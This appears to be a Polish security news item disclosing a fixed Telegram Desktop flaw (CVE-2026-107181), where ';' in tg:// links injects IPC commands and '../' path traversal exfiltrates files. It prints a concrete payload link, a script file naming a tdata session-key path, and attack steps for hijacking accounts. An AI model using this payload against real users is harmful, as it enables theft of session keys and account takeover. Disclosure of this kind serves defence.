Szczegóły oraz sposób wykorzystania podatności (CVE-2026-107181) w Telegram Desktop, oficjalnym kliencie Telegram na systemy stacjonarne, zostały ujawnione. Problem wynika z braku odpowiedniego przetwarzania nieekranowanych znaków separatorów w poleceniach IPC, co pozwalało na przesyłanie atakującemu dowolnych plików z systemu ofiary po kliknięciu na wysłany link, w tym plików z kluczami sesyjnymi, które można wykorzystać do przejęcia konta w Telegramie. Podatność została usunięta w wersji Telegram Desktop 7.2.9.
Po kliknięciu w linki „tg://” system operacyjny uruchamia aplikację Telegram Desktop związaną z tym typem linków. Jeśli w systemie działa już inna instancja tej aplikacji, uruchomiony proces przesyła jej link za pomocą gniazda przez interfejs IPC. Problem polega na tym, że jeśli w parametrach linku pojawi się znak „;” (na przykład „tg://x?a=1;OPEN…”), zawartość jest dzielona, a część po znaku „;” jest przetwarzana jako osobne polecenia.
Aby przeprowadzić atak, używana jest komenda OPEN wraz z schematem URI „interpret:”, przeznaczonym do uruchamiania skryptów pomocniczych przez IPC, które wykorzystywano do automatycznego przesyłania nowych wydań na kanały. Skrypt to z góry określony plik lokalny, w którym określony jest przesyłany do kanału plik oraz identyfikator kanału. Ścieżka do skryptów jest przetwarzana w odniesieniu do zdefiniowanego podkatalogu, ale z powodu braku czyszczenia „../” w ścieżkach plików, atakujący ma możliwość dostępu do plików przechowywanych poza bazowym katalogiem. Na przykład, można przesłać plik do swojej grupy telegramowej, a następnie odwołać się do tego pliku jako do skryptu, przygotowując link w rodzaju:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Etapy przeprowadzenia ataku:
- Atakujący dodaje ofiarę do swojej grupy (przy ustawieniach domyślnych dodanie nie wymaga potwierdzenia od dodawanej osoby) i wysyła do tej grupy plik tekstowy, w którym określony jest kanał i ścieżka do skryptu. Telegram zapisze ten plik w zdefiniowanym systemowym podkatalogu podczas dodatkowego wizytowania ofiary w grupie.
kanał: 2005234537
plik: tdata/D877F783D5D3EF8Cs - Atakujący wysyła ofierze pozornie niewinną linkę do swojego hosta (na przykład „https://coolsite.org”), która po otwarciu przez przekierowanie na serwerze atakującego zamienia się w URI w rodzaju ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
- Kliknięcie w link powoduje, że przeglądarka wywołuje uchwyt URI „tg://”, co uruchamia wcześniej wspomnianą sekwencję poleceń, która prowadzi do wysłania plików do kanału napastnika bez żadnych powiadomień i bez prośby o potwierdzenie wysyłki.
- Po otrzymaniu plików z podkatalogu tdata z kluczami szyfrowania i autoryzacji, w przypadku braku lokalnego hasła ustawionego przez użytkownika, napastnik może sklonować sesję połączenia ofiary na swoim urządzeniu.
Źródło: opennet.ru
